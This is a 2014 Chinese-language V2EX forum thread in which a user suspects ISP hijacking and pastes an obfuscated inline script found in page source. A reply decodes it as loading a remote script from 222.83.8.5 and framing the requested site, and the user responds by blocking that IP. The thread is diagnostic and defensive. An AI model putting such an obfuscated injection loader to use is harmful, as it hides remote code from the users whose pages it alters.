whoops
V2EX  ›  浏览器

好像被 ISP 劫持了,能不能看出来 ISP 到底在干什么呢?

  •  
  •   whoops · Dec 27, 2014 · 4763 views
    This topic created in 4170 days ago, the information mentioned may be changed or developed.

    电信用户,最近一段时间打开很多网站,比如百度淘宝之类的都是空白页,就是服务器有问题也会报错误吧,就是白白的一片,右键点击查看源代码一看,还是有点货的,如下
    <script>var d="=iunm?=ifbe?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00333/94/9/6;910benpef/kt#?=0tdsjqu?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#?wbs!qbsbn>#iuuq;00333/94/9/6;910b0l@uddb>cEZ5Okd1OkCBfHpvZ35>'vsjq>483::7924:'psmv>bIS1dEpwM4e4ez6jZXmleT6kc31wZ";function i(,){+=_;var $="";for(var u=0;u<.length;u++){var r=_.charCodeAt(u);$+=String.fromCharCode(r-1);}return $;} var c="nGq[IV0e3R:KVKDKVF5KVSHKVNzKoSvQX2wcnyqcnWg[Hd>'tqje>74:12:7:7'bsfb>76'ut>252:7931:7'luzqf>1'lxje>1'xuzqf>23'xtje>299#<=0tdsjqu?=0ifbe?=cpez!je>#c#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op!pompbe>#joju)qbsbn*#?=0cpez?=0iunm?";document.write(i(d,c));</script>
    找了个解码网站,解码后如下

    < script > var d = "=iunm?=ifbe?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00333/94/9/6;910benpef/kt#?=0tdsjqu?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#?wbs!qbsbn>#iuuq;00333/94/9/6;910b0l@uddb>cEZ5Okd1OkCBfHpvZ35>'vsjq>483::7924:'psmv>bIS1dEpwM4e4ez6jZXmleT6kc31wZ";
    

    function i(, _)
    {
    _ += __;
    var $ = "";
    for (var u = 0; u < _.length; u++) {
    var r = _.charCodeAt(u);
    $ += String.fromCharCode(r - 1);
    }
    return $;
    }
    var c = "nGq[IV0e3R:KVKDKVF5KVSHKVNzKoSvQX2wcnyqcnWg[Hd>'tqje>74:12:7:7'bsfb>76'ut>252:7931:7'luzqf>1'lxje>1'xuzqf>23'xtje>299#<=0tdsjqu?=0ifbe?=cpez!je>#c#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op!pompbe>#joju)qbsbn*#?=0cpez?=0iunm?";
    document.write(i(d, c));
    </script>
    本人不懂javascript,但是知道那个i函数是解码的,isp这么大费周折的加密这段代码有何用意。

    2 replies    2014-12-27 20:46:56 +08:00
    aaaa007cn
        1
    aaaa007cn  
       Dec 27, 2014
    混淆了
    当然是为了让用户不能一眼看出这代码是干什么的
    解码后可以看出会调用 http://222.83.8.5:80/admode.js
    把目标网站嵌入一个 iframe
    whoops
        2
    whoops  
    OP
       Dec 27, 2014
    @aaaa007cn 谢谢你,果断吧222.83.8.5放到防火墙的黑名单里去,tnnd。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   924 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 32ms · UTC 20:52 · PVG 04:52 · LAX 13:52 · JFK 16:52
    ♥ Do have faith in what you're doing.